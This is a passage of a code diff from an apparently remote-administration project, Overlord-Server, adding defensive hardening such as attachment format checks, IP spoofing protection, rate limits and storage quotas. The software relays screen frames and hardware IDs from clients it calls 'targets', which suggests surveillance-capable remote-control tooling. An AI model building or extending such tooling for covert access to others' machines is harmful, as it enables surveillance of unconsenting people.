waitForThumbnail(id: string, timeoutMs = 2500): Promise clearTimeout(timer); const set = thumbnailWaiters.get(id); if (set) { - set.delete(callback); + if (set.delete(callback)) { + thumbnailWaiterCount = Math.max(0, thumbnailWaiterCount - 1); + } if (set.size === 0) thumbnailWaiters.delete(id); } resolve(fresh); }; callback = () => finish(true); - const timer = setTimeout(() => finish(false), timeoutMs); + const boundedTimeoutMs = Number.isFinite(timeoutMs) + ? Math.min(MAX_THUMBNAIL_WAITER_TIMEOUT_MS, Math.max(1, Math.floor(timeoutMs))) + : 2500; + const timer = setTimeout(() => finish(false), boundedTimeoutMs); let set = thumbnailWaiters.get(id); if (!set) { set = new Set(); thumbnailWaiters.set(id, set); } set.add(callback); + thumbnailWaiterCount += 1; }); } diff --git a/Overlord-Server/src/types.ts b/Overlord-Server/src/types.ts index 127cb31..0fa5371 100644 --- a/Overlord-Server/src/types.ts +++ b/Overlord-Server/src/types.ts @@ -20,6 +20,7 @@ export type ClientInfo = { online?: boolean; hwid?: string; ip?: string; + reportedPublicIp?: string; host?: string; os?: string; arch?: string; diff --git a/Overlord-Server/src/users.ts b/Overlord-Server/src/users.ts index d9ba36d..9d6b036 100644 --- a/Overlord-Server/src/users.ts +++ b/Overlord-Server/src/users.ts @@ -87,7 +87,7 @@ if (userCount.count === 0) { const mustChangePassword = config.auth.passwordIsUserSupplied ? 0 : 1; logger.info("[users] No users found, creating default admin account"); - const defaultPassword = await Bun.password.hash(initialPassword, { + const defaultPassword = Bun.password.hashSync(initialPassword, { algorithm: "bcrypt", cost: 10, }); @@ -1671,5 +1671,3 @@ export function getTotalUserCount(): number { const row = db.prepare("SELECT COUNT(*) as count FROM users").get() as { count: number }; return row.count; } - - diff --git a/Overlord-Server/src/web-push.d.ts b/Overlord-Server/src/web-push.d.ts index 64dffbe..6029692 100644 --- a/Overlord-Server/src/web-push.d.ts +++ b/Overlord-Server/src/web-push.d.ts @@ -10,8 +10,19 @@ declare module "web-push" { interface RequestOptions { TTL?: number; } + interface RequestDetails { + endpoint: string; + method: string; + headers: Record; + body: Buffer | null; + } function generateVAPIDKeys(): VapidKeys; function setVapidDetails(subject: string, publicKey: string, privateKey: string): void; + function generateRequestDetails( + subscription: PushSubscription, + payload: string | Buffer | null, + options?: RequestOptions, + ): RequestDetails; function sendNotification(subscription: PushSubscription, payload: string | Buffer | null, options?: RequestOptions): Promise; - export { generateVAPIDKeys, setVapidDetails, sendNotification }; + export { generateRequestDetails, generateVAPIDKeys, setVapidDetails, sendNotification }; } diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts index 27322f8..f3b7bc3 100644 --- a/Overlord-Server/src/wsHandlers.ts +++ b/Overlord-Server/src/wsHandlers.ts @@ -1,5 +1,6 @@ import { encodeMessage, type Hello, type Ping, type WireMessage } from "./protocol"; import { sanitizeCommandVersionRanges } from "./command-compatibility"; +import { isIP } from "node:net"; let _geoip: typeof import("geoip-lite"); async function getGeoip() { @@ -78,8 +79,10 @@ export async function handleHello( info.ip = ip; } const reportedPublicIP = sanitizeInfoString((payload as any).publicIP, 64); - if (reportedPublicIP && /^[0-9a-fA-F:.]{3,45}$/.test(reportedPublicIP)) { - info.ip = reportedPublicIP; + if (reportedPublicIP && isIP(reportedPublicIP) !== 0) { + // Self-reported metadata is useful diagnostically, but must never replace + // the peer address used for bans, rate limits, auditing, or geolocation. + info.reportedPublicIp = reportedPublicIP; } info.hwid = sanitizeInfoString((payload as any).hwid); info.host = sanitizeInfoString(payload.host); @@ -272,11 +275,13 @@ export function handleScreenshotThumbnailResult(info: ClientInfo, payload: any): const format = rawFormat === "jpg" ? "jpeg" : rawFormat; if (format !== "jpeg" && format !== "webp") return false; - setLatestFrame(info.id, bytes, format); - void requestThumbnailRegen(info.id).then((ok) => { - if (ok) notifyThumbnailGenerated(info.id); - }); - return true; + const admitted = setLatestFrame(info.id, bytes, format); + if (admitted) { + void requestThumbnailRegen(info.id).then((ok) => { + if (ok) notifyThumbnailGenerated(info.id); + }); + } + return admitted; } export function shouldRelayFrameToViewers(payload: unknown): boolean { @@ -327,10 +332,11 @@ export function handleFrame(info: ClientInfo, payload: unknown, relayToViewers = const now = Date.now(); const thumbnailRequested = isThumbnailRequested(info.id); if (thumbnailRequested || !hasThumbnail(info.id)) { - setLatestFrame(info.id, bytes, safeFormat); - void requestThumbnailRegen(info.id).then((ok) => { - if (ok) notifyThumbnailGenerated(info.id); - }); + if (setLatestFrame(info.id, bytes, safeFormat)) { + void requestThumbnailRegen(info.id).then((ok) => { + if (ok) notifyThumbnailGenerated(info.id); + }); + } } info.lastSeen = now; info.online = true; diff --git a/Overlord-Server/test/e2e/global-setup.ts b/Overlord-Server/test/e2e/global-setup.ts index 0e49574..9660cb6 100644 --- a/Overlord-Server/test/e2e/global-setup.ts +++ b/Overlord-Server/test/e2e/global-setup.ts @@ -117,6 +117,7 @@ export default async function globalSetup(_config: FullConfig) { OVERLORD_PASS: "E2ePassword!2026", JWT_SECRET: "e2e-jwt-secret-that-is-only-used-for-browser-tests", OVERLORD_AGENT_TOKEN: "e2e-agent-token-that-is-only-used-for-browser-tests", + OVERLORD_ALLOW_AGENT_TOKEN_QUERY: "true", }, }); diff --git a/plugins/chat/chat.css b/plugins/chat/chat.css index 2b69765..1c79a1d 100644 --- a/plugins/chat/chat.css +++ b/plugins/chat/chat.css @@ -254,6 +254,46 @@ cursor: zoom-in; } +.chat-image-preview { + position: fixed; + inset: 0; + z-index: 10000; + display: flex; + align-items: center; + justify-content: center; + padding: 28px; + background: rgba(0, 0, 0, 0.86); +} + +.chat-image-preview img { + max-width: 100%; + max-height: 100%; + object-fit: contain; + border-radius: 8px; + box-shadow: 0 16px 60px rgba(0, 0, 0, 0.55); +} + +.chat-image-preview-close { + position: fixed; + top: 16px; + right: 20px; + width: 40px; + height: 40px; + border: 1px solid #455168; + border-radius: 999px; + background: #161a22; + color: #e8ecf1; + font-size: 28px; + line-height: 1; + cursor: pointer; +} + +.chat-image-preview-close:hover, +.chat-image-preview-close:focus-visible { + background: #262c3a; + outline: 2px solid #60a5fa; +} + .chat-msg-file { display: inline-flex; align-items: center; @@ -273,6 +313,11 @@ border-color: #3a4a60; } +.chat-msg-file-blocked { + color: #fca5a5; + cursor: default; +} + .chat-msg-file i { color: #8a96aa; } diff --git a/plugins/chat/chat.html b/plugins/chat/chat.html index 4d086a3..a498995 100644 --- a/plugins/chat/chat.html +++ b/plugins/chat/chat.html @@ -59,7 +59,7 @@
- +
diff --git a/plugins/chat/chat.js b/plugins/chat/chat.js index 49bcf46..fd2a758 100644 --- a/plugins/chat/chat.js +++ b/plugins/chat/chat.js @@ -1,6 +1,12 @@ (() => { const PLUGIN_ID = "chat"; - const MAX_ATTACHMENT_SIZE = 5 * 1024 * 1024; + const MAX_ATTACHMENT_SIZE = 64 * 1024 * 1024; + const MAX_ATTACHMENT_BASE64_SIZE = Math.ceil(MAX_ATTACHMENT_SIZE / 3) * 4; + const SAFE_IMAGE_MIMES = new Set([ + "image/png", + "image/jpeg", + "image/webp", + ]); const params = new URLSearchParams(window.location.search); @@ -69,58 +75,119 @@ }); } - async function loadAttachmentBlob(id) { + async function loadAttachmentBlob(id, expectedMime) { if (attachmentUrlCache.has(id)) return attachmentUrlCache.get(id); - const { ok, result } = await rpc("get_attachment", { id }); - if (!ok || !result?.dataB64) return null; - const bin = atob(result.dataB64); + const clientId = getClientId(); + if (!clientId) return null; + const { ok, result } = await rpc("get_attachment", { id, clientId }); + if ( + !ok || + !result?.ok || + (SAFE_IMAGE_MIMES.has(expectedMime) && result.mime !== expectedMime) || + typeof result.dataB64 !== "string" || + result.dataB64.length === 0 || + result.dataB64.length > MAX_ATTACHMENT_BASE64_SIZE + ) return null; + let bin; + try { + bin = atob(result.dataB64); + } catch { + return null; + } + if (bin.length === 0 || bin.length > MAX_ATTACHMENT_SIZE) return null; const bytes = new Uint8Array(bin.length); for (let i = 0; i < bin.length; i++) bytes[i] = bin.charCodeAt(i); const blob = new Blob([bytes], { - type: result.mime || "application/octet-stream", + type: SAFE_IMAGE_MIMES.has(expectedMime) ? expectedMime : "application/octet-stream", }); const url = URL.createObjectURL(blob); + if (attachmentUrlCache.size >= 10) { + const oldestId = attachmentUrlCache.keys().next().value; + const oldestUrl = attachmentUrlCache.get(oldestId); + if (oldestUrl) URL.revokeObjectURL(oldestUrl); + attachmentUrlCache.delete(oldestId); + } attachmentUrlCache.set(id, url); return url; } + function showImagePreview(url, name) { + const overlay = document.createElement("div"); + overlay.className = "chat-image-preview"; + overlay.setAttribute("role", "dialog"); + overlay.setAttribute("aria-modal", "true"); + overlay.setAttribute("aria-label", `Image preview: ${name}`); + + const close = document.createElement("button"); + close.type = "button"; + close.className = "chat-image-preview-close"; + close.setAttribute("aria-label", "Close image preview"); + close.textContent = "×"; + + const image = document.createElement("img"); + image.src = url; + image.alt = name; + + const remove = () => { + document.removeEventListener("keydown", onKeyDown); + overlay.remove(); + }; + const onKeyDown = (event) => { + if (event.key === "Escape") remove(); + }; + close.addEventListener("click", remove); + overlay.addEventListener("click", (event) => { + if (event.target === overlay) remove(); + }); + document.addEventListener("keydown", onKeyDown); + + overlay.append(image, close); + document.body.appendChild(overlay); + close.focus(); + } + function renderAttachment(att, messageId) { const wrap = document.createElement("div"); wrap.className = "chat-msg-attachment"; - const isImage = (att.mime || "").startsWith("image/"); + const mime = String(att?.mime || "").trim().toLowerCase(); + const name = String(att?.name || "image").slice(0, 255); + const sizeValue = Number(att?.size); + const size = Number.isFinite(sizeValue) && sizeValue >= 0 + ? Math.min(sizeValue, MAX_ATTACHMENT_SIZE) + : 0; + const isImage = SAFE_IMAGE_MIMES.has(mime) && size > 0 && size <= MAX_ATTACHMENT_SIZE; if (isImage) { - const img = document.createElement("img"); - img.className = "chat-msg-image"; - img.alt = att.name; - img.title = `${att.name} (${humanSize(att.size)})`; - loadAttachmentBlob(messageId).then((url) => { - if (url) img.src = url; + const view = document.createElement("button"); + view.type = "button"; + view.className = "chat-msg-file"; + view.textContent = `View image: ${name} (${humanSize(size)})`; + view.addEventListener("click", async () => { + view.disabled = true; + const url = await loadAttachmentBlob(messageId, mime); + if (url) showImagePreview(url, name); + view.disabled = false; }); - img.addEventListener("click", async () => { - const url = await loadAttachmentBlob(messageId); - if (url) window.open(url, "_blank"); - }); - wrap.appendChild(img); + wrap.appendChild(view); } else { - const link = document.createElement("a"); - link.className = "chat-msg-file"; - link.href = "#"; - link.innerHTML = ` `; - link.querySelector(".chat-msg-file-name").textContent = att.name; - link.querySelector(".chat-msg-file-size").textContent = `(${humanSize(att.size)})`; - link.addEventListener("click", async (e) => { - e.preventDefault(); - const url = await loadAttachmentBlob(messageId); - if (!url) return; - const a = document.createElement("a"); - a.href = url; - a.download = att.name; - document.body.appendChild(a); - a.click(); - a.remove(); + const download = document.createElement("button"); + download.type = "button"; + download.className = "chat-msg-file"; + download.textContent = `Download: ${name} (${humanSize(size)})`; + download.addEventListener("click", async () => { + download.disabled = true; + const url = await loadAttachmentBlob(messageId, mime); + if (url) { + const anchor = document.createElement("a"); + anchor.href = url; + anchor.download = name; + document.body.appendChild(anchor); + anchor.click(); + anchor.remove(); + } + download.disabled = false; }); - wrap.appendChild(link); + wrap.appendChild(download); } return wrap; } @@ -192,7 +259,11 @@ function connectSSE() { if (sseStream) sseStream.close(); - sseStream = new EventSource(`/api/plugins/${PLUGIN_ID}/stream`); + const clientId = getClientId(); + if (!clientId) return; + sseStream = new EventSource( + `/api/plugins/${PLUGIN_ID}/stream?clientId=${encodeURIComponent(clientId)}`, + ); sseStream.addEventListener("new_message", (e) => { const data = JSON.parse(e.data); @@ -294,18 +365,23 @@ btnAttach.disabled = true; try { const dataB64 = await readFileAsBase64(file); - const mime = file.type || "application/octet-stream"; - await rpc("store_attachment", { + // Some platforms leave File.type blank for otherwise valid images. The + // server detects the real raster format and returns its canonical MIME. + const mime = file.type || ""; + const stored = await rpc("store_attachment", { clientId: cid, sender, name: file.name, mime, dataB64, }); + if (!stored.ok || !stored.result?.ok) { + throw new Error(stored.result?.error || stored.error || "Attachment rejected"); + } await sendPluginEvent(cid, "chat_attachment", { from: sender, - name: file.name, - mime, + name: stored.result.name, + mime: stored.result.mime, dataB64, }); } catch (err) { diff --git a/plugins/chat/native/plugin.cpp b/plugins/chat/native/plugin.cpp index 4f2e2e6..cd05f57 100644 --- a/plugins/chat/native/plugin.cpp +++ b/plugins/chat/native/plugin.cpp @@ -43,7 +43,7 @@ #define IDC_SEND 103 #define IDC_ATTACH 104 -#define MAX_ATTACHMENT_BYTES (5 * 1024 * 1024) +#define MAX_ATTACHMENT_BYTES (64 * 1024 * 1024) static const char *WND_CLASS_NAME = "OverlordChatWnd"; diff --git a/plugins/chat/server.js b/plugins/chat/server.js index ef6f241..c1ffc42 100644 --- a/plugins/chat/server.js +++ b/plugins/chat/server.js @@ -1,3 +1,482 @@ +export const MAX_CHAT_ATTACHMENT_SIZE = 64 * 1024 * 1024; + +const MAX_CHAT_ATTACHMENT_BASE64_SIZE = Math.ceil(MAX_CHAT_ATTACHMENT_SIZE / 3) * 4; +const SAFE_RASTER_MIMES = new Set([ + "image/png", + "image/jpeg", + "image/webp", +]); +const MAX_CHAT_IMAGE_DIMENSION = 8192; +const MAX_CHAT_IMAGE_PIXELS = 16 * 1024 * 1024; +const MAX_CHAT_TEXT_LENGTH = 1024 * 1024; +const MAX_CHAT_MESSAGES_PER_CLIENT = 100_000; +const MAX_CHAT_MESSAGE_STORAGE_PER_CLIENT = 1024 * 1024 * 1024; +const MAX_CHAT_ATTACHMENT_STORAGE_PER_CLIENT = 10 * 1024 * 1024 * 1024; +const DEFAULT_MAX_CHAT_MESSAGES_GLOBAL = 1_000_000; +const DEFAULT_MAX_CHAT_MESSAGE_STORAGE_GLOBAL = 16 * 1024 * 1024 * 1024; +const DEFAULT_MAX_CHAT_ATTACHMENT_STORAGE_GLOBAL = 16 * 1024 * 1024 * 1024; +export const MAX_CHAT_ROWS_PRUNED_PER_SCOPE = 2_000; +export const MAX_CHAT_INCOMING_RATE_KEYS = 10_000; +const CHAT_MESSAGE_ROW_OVERHEAD_BYTES = 64; +const CHAT_MESSAGE_PAYLOAD_BYTES_SQL = `( + ${CHAT_MESSAGE_ROW_OVERHEAD_BYTES} + + COALESCE(length(CAST(client_id AS BLOB)), 0) + + COALESCE(length(CAST(sender AS BLOB)), 0) + + COALESCE(length(CAST(direction AS BLOB)), 0) + + COALESCE(length(CAST(text AS BLOB)), 0) + + COALESCE(length(CAST(attachment_name AS BLOB)), 0) + + COALESCE(length(CAST(attachment_mime AS BLOB)), 0) +)`; +const incomingEventRates = new Map(); +const chatMessageStores = new WeakMap(); + +function sanitizeChatText(value, maxLength = MAX_CHAT_TEXT_LENGTH) { + return typeof value === "string" ? value.slice(0, maxLength) : ""; +} + +function consumeIncomingEventRate(clientId, kind) { + const now = Date.now(); + const isAttachment = kind === "attachment"; + const windowMs = isAttachment ? 10 * 60_000 : 60_000; + const maxEvents = isAttachment ? 20 : 120; + const key = `${clientId}:${kind}`; + let state = incomingEventRates.get(key); + if (!state || now - state.windowStart >= windowMs) { + state = { windowStart: now, count: 0 }; + } + state.count += 1; + incomingEventRates.set(key, state); + if (incomingEventRates.size > MAX_CHAT_INCOMING_RATE_KEYS) { + for (const [rateKey, entry] of incomingEventRates) { + if (now - entry.windowStart > 10 * 60_000) incomingEventRates.delete(rateKey); + } + while (incomingEventRates.size > MAX_CHAT_INCOMING_RATE_KEYS) { + const oldestKey = incomingEventRates.keys().next().value; + if (oldestKey === undefined) break; + incomingEventRates.delete(oldestKey); + } + } + return state.count <= maxEvents; +} + +export function getChatRuntimeStats() { + return { incomingRateKeys: incomingEventRates.size }; +} + +function positiveChatLimit(name, fallback, maximum) { + const parsed = Number(process.env[name]); + if (!Number.isSafeInteger(parsed) || parsed <= 0) return fallback; + return Math.min(parsed, maximum); +} + +export function getChatStorageLimits() { + return { + perClientMessages: MAX_CHAT_MESSAGES_PER_CLIENT, + perClientMessageBytes: MAX_CHAT_MESSAGE_STORAGE_PER_CLIENT, + perClientAttachmentBytes: MAX_CHAT_ATTACHMENT_STORAGE_PER_CLIENT, + globalMessages: positiveChatLimit( + "OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_MESSAGES", + DEFAULT_MAX_CHAT_MESSAGES_GLOBAL, + 1_000_000, + ), + globalMessageBytes: positiveChatLimit( + "OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_MESSAGE_BYTES", + DEFAULT_MAX_CHAT_MESSAGE_STORAGE_GLOBAL, + 16 * 1024 * 1024 * 1024, + ), + globalAttachmentBytes: positiveChatLimit( + "OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_ATTACHMENT_BYTES", + DEFAULT_MAX_CHAT_ATTACHMENT_STORAGE_GLOBAL, + 16 * 1024 * 1024 * 1024, + ), + }; +} + +function optionalChatStringBytes(value) { + return value ? Buffer.byteLength(value, "utf8") : 0; +} + +function chatMessagePayloadBytes(record) { + return CHAT_MESSAGE_ROW_OVERHEAD_BYTES + + Buffer.byteLength(record.clientId, "utf8") + + Buffer.byteLength(record.sender, "utf8") + + Buffer.byteLength(record.direction, "utf8") + + Buffer.byteLength(record.text, "utf8") + + optionalChatStringBytes(record.attachmentName) + + optionalChatStringBytes(record.attachmentMime); +} + +function getChatStorageTotals(database, clientId) { + const row = clientId === null + ? database.prepare( + `SELECT COUNT(*) AS messages, + COALESCE(SUM(${CHAT_MESSAGE_PAYLOAD_BYTES_SQL}), 0) AS message_bytes, + COALESCE(SUM(length(CAST(attachment_data AS BLOB))), 0) AS attachment_bytes + FROM messages`, + ).get() + : database.prepare( + `SELECT COUNT(*) AS messages, + COALESCE(SUM(${CHAT_MESSAGE_PAYLOAD_BYTES_SQL}), 0) AS message_bytes, + COALESCE(SUM(length(CAST(attachment_data AS BLOB))), 0) AS attachment_bytes + FROM messages WHERE client_id = ?`, + ).get(clientId); + return { + messages: Number(row?.messages || 0), + messageBytes: Number(row?.message_bytes || 0), + attachmentBytes: Number(row?.attachment_bytes || 0), + }; +} + +function chatStorageScopeFits(database, clientId, incoming, limits) { + const totals = getChatStorageTotals(database, clientId); + return totals.messages + 1 <= limits.messages + && totals.messageBytes + incoming.messageBytes <= limits.messageBytes + && totals.attachmentBytes + incoming.attachmentBytes <= limits.attachmentBytes; +} + +function deleteChatRows(database, ids) { + if (ids.length === 0) return; + const placeholders = ids.map(() => "?").join(","); + database.prepare(`DELETE FROM messages WHERE id IN (${placeholders})`).run(...ids); +} + +function pruneChatStorageScope(database, clientId, incoming, limits) { + const totals = getChatStorageTotals(database, clientId); + let messages = totals.messages + 1; + let messageBytes = totals.messageBytes + incoming.messageBytes; + let attachmentBytes = totals.attachmentBytes + incoming.attachmentBytes; + if ( + messages <= limits.messages + && messageBytes <= limits.messageBytes + && attachmentBytes <= limits.attachmentBytes + ) return true; + + const rows = clientId === null + ? database.prepare( + `SELECT id, ${CHAT_MESSAGE_PAYLOAD_BYTES_SQL} AS message_bytes, + COALESCE(length(CAST(attachment_data AS BLOB)), 0) AS attachment_bytes + FROM messages ORDER BY timestamp ASC, id ASC LIMIT ?`, + ).all(MAX_CHAT_ROWS_PRUNED_PER_SCOPE) + : database.prepare( + `SELECT id, ${CHAT_MESSAGE_PAYLOAD_BYTES_SQL} AS message_bytes, + COALESCE(length(CAST(attachment_data AS BLOB)), 0) AS attachment_bytes + FROM messages WHERE client_id = ? + ORDER BY timestamp ASC, id ASC LIMIT ?`, + ).all(clientId, MAX_CHAT_ROWS_PRUNED_PER_SCOPE); + + const pruneIds = []; + for (const row of rows) { + pruneIds.push(row.id); + messages -= 1; + messageBytes -= Number(row.message_bytes || 0); + attachmentBytes -= Number(row.attachment_bytes || 0); + if ( + messages <= limits.messages + && messageBytes <= limits.messageBytes + && attachmentBytes <= limits.attachmentBytes + ) break; + } + deleteChatRows(database, pruneIds); + return messages <= limits.messages + && messageBytes <= limits.messageBytes + && attachmentBytes <= limits.attachmentBytes; +} + +export function createChatMessageStore(database, quotaProvider = getChatStorageLimits) { + const transaction = database.transaction((record) => { + const limits = quotaProvider(); + const incoming = { + messageBytes: chatMessagePayloadBytes(record), + attachmentBytes: record.attachmentData?.length || 0, + }; + if ( + incoming.messageBytes > limits.perClientMessageBytes + || incoming.messageBytes > limits.globalMessageBytes + || incoming.attachmentBytes > limits.perClientAttachmentBytes + || incoming.attachmentBytes > limits.globalAttachmentBytes + ) return { ok: false, error: "chat storage quota exceeded" }; + + let perClientSatisfied = pruneChatStorageScope( + database, + record.clientId, + incoming, + { + messages: limits.perClientMessages, + messageBytes: limits.perClientMessageBytes, + attachmentBytes: limits.perClientAttachmentBytes, + }, + ); + const globalSatisfied = pruneChatStorageScope( + database, + null, + incoming, + { + messages: limits.globalMessages, + messageBytes: limits.globalMessageBytes, + attachmentBytes: limits.globalAttachmentBytes, + }, + ); + if (!perClientSatisfied && globalSatisfied) { + perClientSatisfied = chatStorageScopeFits( + database, + record.clientId, + incoming, + { + messages: limits.perClientMessages, + messageBytes: limits.perClientMessageBytes, + attachmentBytes: limits.perClientAttachmentBytes, + }, + ); + } + if (!perClientSatisfied || !globalSatisfied) { + return { ok: false, error: "chat storage quota exceeded" }; + } + + const info = database.prepare( + `INSERT INTO messages + (client_id, sender, direction, text, timestamp, + attachment_name, attachment_mime, attachment_data) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)`, + ).run( + record.clientId, + record.sender, + record.direction, + record.text, + record.timestamp, + record.attachmentName || null, + record.attachmentMime || null, + record.attachmentData || null, + ); + return { ok: true, id: Number(info.lastInsertRowid), timestamp: record.timestamp }; + }); + return transaction; +} + +function storeChatMessage(ctx, record) { + let store = chatMessageStores.get(ctx.db); + if (!store) { + store = createChatMessageStore(ctx.db); + chatMessageStores.set(ctx.db, store); + } + return store(record); +} + +function bytesEqualAt(buf, offset, expected) { + if (offset < 0 || offset + expected.length > buf.length) return false; + for (let i = 0; i < expected.length; i++) { + if (buf[offset + i] !== expected[i]) return false; + } + return true; +} + +function imageDimensionsAllowed(width, height) { + return Number.isInteger(width) && + Number.isInteger(height) && + width > 0 && + height > 0 && + width <= MAX_CHAT_IMAGE_DIMENSION && + height <= MAX_CHAT_IMAGE_DIMENSION && + width * height <= MAX_CHAT_IMAGE_PIXELS; +} + +function readPngDimensions(buf) { + if (!bytesEqualAt(buf, 0, [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a])) { + return null; + } + let offset = 8; + let dimensions = null; + let sawImageData = false; + while (offset + 12 <= buf.length) { + const length = buf.readUInt32BE(offset); + const chunkEnd = offset + 12 + length; + if (chunkEnd > buf.length) return null; + + const type = buf.subarray(offset + 4, offset + 8).toString("ascii"); + if (type === "acTL" || type === "fcTL" || type === "fdAT") return null; + if (offset === 8) { + if (type !== "IHDR" || length !== 13) return null; + dimensions = { width: buf.readUInt32BE(offset + 8), height: buf.readUInt32BE(offset + 12) }; + } else if (type === "IDAT") { + sawImageData = true; + } else if (type === "IEND") { + if (length !== 0 || chunkEnd !== buf.length || !sawImageData) return null; + return dimensions; + } + offset = chunkEnd; + } + return null; +} + +function readJpegDimensions(buf) { + if (!bytesEqualAt(buf, 0, [0xff, 0xd8, 0xff]) || !bytesEqualAt(buf, buf.length - 2, [0xff, 0xd9])) { + return null; + } + let offset = 2; + while (offset + 4 <= buf.length - 2) { + if (buf[offset] !== 0xff) return null; + while (offset < buf.length && buf[offset] === 0xff) offset += 1; + if (offset >= buf.length) return null; + const marker = buf[offset++]; + if (marker === 0xd9) return null; + if (marker === 0xd8 || marker === 0x01 || (marker >= 0xd0 && marker <= 0xd7)) { + continue; + } + if (offset + 2 > buf.length) return null; + const segmentLength = buf.readUInt16BE(offset); + if (segmentLength < 2 || offset + segmentLength > buf.length) return null; + const isStartOfFrame = + marker >= 0xc0 && marker <= 0xcf && + marker !== 0xc4 && marker !== 0xc8 && marker !== 0xcc; + if (isStartOfFrame) { + if (segmentLength < 8) return null; + return { + width: buf.readUInt16BE(offset + 5), + height: buf.readUInt16BE(offset + 3), + }; + } + // A valid JPEG provides its frame dimensions before scan data starts. + if (marker === 0xda) return null; + offset += segmentLength; + } + return null; +} + +function readWebpDimensions(buf) { + if ( + buf.length < 20 || + buf.subarray(0, 4).toString("ascii") !== "RIFF" || + buf.readUInt32LE(4) + 8 !== buf.length || + buf.subarray(8, 12).toString("ascii") !== "WEBP" + ) return null; + + let offset = 12; + let dimensions = null; + while (offset + 8 <= buf.length) { + const chunkType = buf.subarray(offset, offset + 4).toString("ascii"); + const chunkLength = buf.readUInt32LE(offset + 4); + const dataOffset = offset + 8; + const chunkEnd = dataOffset + chunkLength; + if (chunkEnd > buf.length) return null; + if (chunkType === "ANIM" || chunkType === "ANMF") return null; + + if ( + chunkType === "VP8 " && + chunkLength >= 10 && + bytesEqualAt(buf, dataOffset + 3, [0x9d, 0x01, 0x2a]) + ) { + dimensions ??= { + width: buf.readUInt16LE(dataOffset + 6) & 0x3fff, + height: buf.readUInt16LE(dataOffset + 8) & 0x3fff, + }; + } + if (chunkType === "VP8L" && chunkLength >= 5 && buf[dataOffset] === 0x2f) { + const packed = buf.readUInt32LE(dataOffset + 1); + dimensions ??= { + width: (packed & 0x3fff) + 1, + height: ((packed >>> 14) & 0x3fff) + 1, + }; + } + if (chunkType === "VP8X" && chunkLength >= 10) { + if ((buf[dataOffset] & 0x02) !== 0) return null; + dimensions ??= { + width: 1 + buf[dataOffset + 4] + (buf[dataOffset + 5] << 8) + (buf[dataOffset + 6] << 16), + height: 1 + buf[dataOffset + 7] + (buf[dataOffset + 8] << 8) + (buf[dataOffset + 9] << 16), + }; + } + + offset = chunkEnd + (chunkLength % 2); + } + return offset === buf.length ? dimensions : null; +} + +export function detectChatRasterMime(buf) { + if (!buf || typeof buf.length !== "number") return null; + + const pngDimensions = readPngDimensions(buf); + if (pngDimensions && imageDimensionsAllowed(pngDimensions.width, pngDimensions.height)) { + return "image/png"; + } + + const jpegDimensions = readJpegDimensions(buf); + if (jpegDimensions && imageDimensionsAllowed(jpegDimensions.width, jpegDimensions.height)) { + return "image/jpeg"; + } + + const webpDimensions = readWebpDimensions(buf); + if (webpDimensions && imageDimensionsAllowed(webpDimensions.width, webpDimensions.height)) { + return "image/webp"; + } + + return null; +} + +function sanitizeAttachmentName(value) { + const cleaned = String(value || "file") + .replace(/[\\/\u0000-\u001f\u007f]/g, "_") + .trim() + .slice(0, 255); + return cleaned || "file"; +} + +function validateChatAttachmentBytes(mimeValue, buf) { + if (!buf || buf.length === 0) { + return { ok: false, error: "empty attachment" }; + } + if (buf.length > MAX_CHAT_ATTACHMENT_SIZE) { + return { ok: false, error: "attachment exceeds 64 MB limit" }; + } + + const declaredMime = String(mimeValue || "").trim().toLowerCase(); + const detectedMime = detectChatRasterMime(buf); + if (declaredMime && SAFE_RASTER_MIMES.has(declaredMime) && declaredMime !== detectedMime) { + return { ok: false, error: "attachment MIME does not match its contents" }; + } + + // Unknown/active formats remain downloadable but are forced to an inert MIME. + return { ok: true, mime: detectedMime || "application/octet-stream", buf }; +} + +export function validateChatAttachment(input) { + if (!input || typeof input !== "object") { + return { ok: false, error: "invalid attachment payload" }; + } + + const dataB64 = input.dataB64; + if (typeof dataB64 !== "string" || dataB64.length === 0) { + return { ok: false, error: "empty attachment" }; + } + if (dataB64.length > MAX_CHAT_ATTACHMENT_BASE64_SIZE) { + return { ok: false, error: "attachment exceeds 64 MB limit" }; + } + if ( + dataB64.length % 4 !== 0 || + !/^[A-Za-z0-9+/]*={0,2}$/.test(dataB64) + ) { + return { ok: false, error: "invalid base64 attachment" }; + } + + let buf; + try { + buf = Buffer.from(dataB64, "base64"); + } catch (_) { + return { ok: false, error: "invalid base64 attachment" }; + } + // Buffer's base64 decoder is intentionally permissive. Re-encoding makes + // the accepted representation canonical and rejects ignored junk bytes. + if (buf.toString("base64") !== dataB64) { + return { ok: false, error: "invalid base64 attachment" }; + } + + const checked = validateChatAttachmentBytes(input.mime, buf); + if (!checked.ok) return checked; + return { + ok: true, + name: sanitizeAttachmentName(input.name), + mime: checked.mime, + buf: checked.buf, + }; +} + export default { setup(ctx) { ctx.db.exec(` @@ -14,6 +493,9 @@ export default { ctx.db.exec( `CREATE INDEX IF NOT EXISTS msg_by_client ON messages(client_id, timestamp)` ); + ctx.db.exec( + `CREATE INDEX IF NOT EXISTS msg_by_timestamp ON messages(timestamp, id)` + ); } catch (_) {} const cols = ctx.db @@ -35,60 +517,71 @@ export default { ctx.db.exec(`ALTER TABLE messages ADD COLUMN attachment_data BLOB`); } catch (_) {} } + try { + ctx.db.exec( + `CREATE INDEX IF NOT EXISTS msg_attachments_by_client + ON messages(client_id, timestamp, id) WHERE attachment_data IS NOT NULL` + ); + ctx.db.exec( + `CREATE INDEX IF NOT EXISTS msg_attachments_by_timestamp + ON messages(timestamp, id) WHERE attachment_data IS NOT NULL` + ); + } catch (_) {} }, onEvent(ctx, clientId, event, payload) { if (event === "chat_message") { + const text = sanitizeChatText(payload?.text); + if (!text) return; + const sender = sanitizeChatText(payload?.from || "Unknown", 128) || "Unknown"; const ts = Date.now(); - const info = ctx.db - .prepare( - `INSERT INTO messages(client_id, sender, direction, text, timestamp) VALUES (?, ?, ?, ?, ?)` - ) - .run( - clientId, - payload.from || "Unknown", - "from_target", - payload.text || "", - ts - ); - ctx.broadcast("new_message", { - id: Number(info.lastInsertRowid), + const stored = storeChatMessage(ctx, { clientId, - sender: payload.from || "Unknown", + sender, direction: "from_target", - text: payload.text || "", + text, + timestamp: ts, + }); + if (!stored.ok) { + ctx.log?.warn?.(`Rejected chat message from ${clientId}: 